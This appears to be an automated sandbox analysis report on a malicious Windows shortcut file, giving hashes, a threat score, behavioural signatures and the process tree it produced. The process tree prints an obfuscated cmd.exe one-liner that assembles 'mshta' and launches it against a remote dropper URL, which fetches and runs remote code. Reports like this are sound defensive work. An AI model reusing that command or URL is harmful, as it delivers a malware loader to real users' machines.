Analysis
- max time kernel
58s - max time network
34s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 16:30
Static task
static1
Behavioral task
behavioral1
Sample
DOC-YK0921.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-YK0921.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-YK0921.lnk
- Size 1KB
- Sample260817-tz7rmace35
- SHA256 2ae403a231c562005a7fd5aa12e21c104afd8192ff9e12eff4ac8d16f4234c02
- MD5 7991e67fa6c1363f92968600dd382cbb
- SHA1 833891f82b371e2355f74a8242a0c7861828a15f
- SHA512 76504e3e9b9a41e86678dfc21d76dcda787d7c948f09e18df9f8b217e496b987d98effd6c298854f724f06c452c82a510757322a52bbd8217ace5c4d0d9118ee
- TLSH T1D4317B503FED0A24F3F78F7794BB5B2489BBB8658E20CA2E0141454C6432A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3192 cmd.exe 4500 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4500 wrote to memory of 3192 4500 cmd.exe 90 PID 3192 wrote to memory of 2276 3192 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YK0921.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set Zidta=msh&&set azs=ta&&start "" !Zidta!!azs! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2276
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